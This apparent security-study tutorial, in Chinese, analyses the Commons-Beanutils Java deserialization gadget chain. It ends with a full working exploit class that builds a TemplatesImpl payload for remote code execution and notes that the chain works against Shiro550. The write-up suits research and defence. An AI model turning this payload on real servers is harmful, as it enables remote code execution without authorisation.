Java反序列化Commons-Beanutils篇-CB链
<1> 环境介绍
jdk:jdk8u65
CB:commons-beanutils 1.8.3
pom.xml 添加
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<2> 什么是CommonsBeanutils和JavaBean?
CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
那 什么是JavaBean呢?
JavaBean 是一种JAVA语言写成的可重用组件,它是一个类
所谓javaBean,是指符合如下标准的Java类:
- 类是公共的
- 有一个无参的公共的构造器
- 有私有属性,且须有对应的get、set方法去设置属性
- 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"
在java中,有很多类定义都符合这样的规范
比如这样一个类
public class Person {
private String name; // 属性一般定义为private
public Person(String name) {
this.name = name;
}
public String getName() { //读方法
return name;
}
public void setName(String n) { //写方法
name = n;
}
}
它包含了一个私有属性name,以及读取和设置这个属性的两个public方法 getName()和setName(),即getter和setter
这种 class 就是 JavaBean
用于对属性赋值的方法称为属性修改器或setter方法,用于读取属性值的方法称为属性访问器或getter方法
只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:
- 对应的读方法是int getAge()
- 无对应的写方法setAge(int)
类似的,只有setter的属性称为只写属性(write-only)
注:属性只需要定义getter和setter方法,不一定需要对应的字段,例如,child只读属性定义如下:
public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
public boolean isChild() {
return age <= 6;
}
}
<3> CommonsBeanutils利用点
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty()
,可以让使用者直接调用任意JavaBean的getter方法
PropertyUtils.getProperty()
传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性
比如:
Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();
除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象
中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个
方法,使用者可以很方便地调用任意对象的getter
因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。
commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到 不再叙述
<4> 利用链分析
在前面的CC链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce
它的链子为:
/*
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()
*/
重点看:TemplatesImpl#getOutputProperties()
getOutputProperties()
方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用 前面提到的,commons-beanutils里的PropertyUtils.getProperty()
去调用getter
那么往上找链子,CB链里 哪个位置调用了getProperty
呢?
在之前的CC2/4的链中我们用到了java.util.PriorityQueue
的readObject触发反序列化,主要是通过调用了其TransformingComparator
的compare方法,进而调用了transform链的调用
而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare()
函数,当调用 BeanComparator.compare()
函数时,其内部会调用我们前面说的 getProperty
函数,进而调用 JavaBean 中对应属性的 getter 函数
这里会调用PropertyUtils.getProperty()
方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 TemplatesImpl.getOutputProperties()
往下就是TemplatesImpl的利用链
那么往上找 哪里调用 compare()呢 可以利用CC2/4链中用的 PriorityQueue.readObject()
因此整体的CB链就是
PriorityQueue.readObject()
-> BeanComparator.compare()
-> PropertyUtils.getProperty()
-> TemplatesImpl.getOutputProperties()
-> TemplatesImpl#newTransformer()
-> ................
-> TransletClassLoader.defineClass()
-> Evil.newInstance()
前面的CC2文章提到了,queue的size应该>2。 而add()也会执行compare由于在BeanComparator#compare() 中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们
再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1、2替换成恶意的
TemplateImpl 对象
setFieldValue(comparator,"property","outputProperties");
与CC2/4 略微不同的是,还需要用反射去修改 queue属性的值,因为要控制 BeanComparator.compare()的参数为恶意templates对象
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
EXP如下:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "1vxyz");
byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
setFieldValue(comparator,"property","outputProperties");
serialize(queue);
unserialize("CB-bin/CB1.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
Class clazz=object.getClass();
Field declaredField=clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,filed_value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}
shiro550中自带CommonsBeanutils 1.8.3 和 commons-collections-3.2.1的依赖,可以利用此条链进行攻击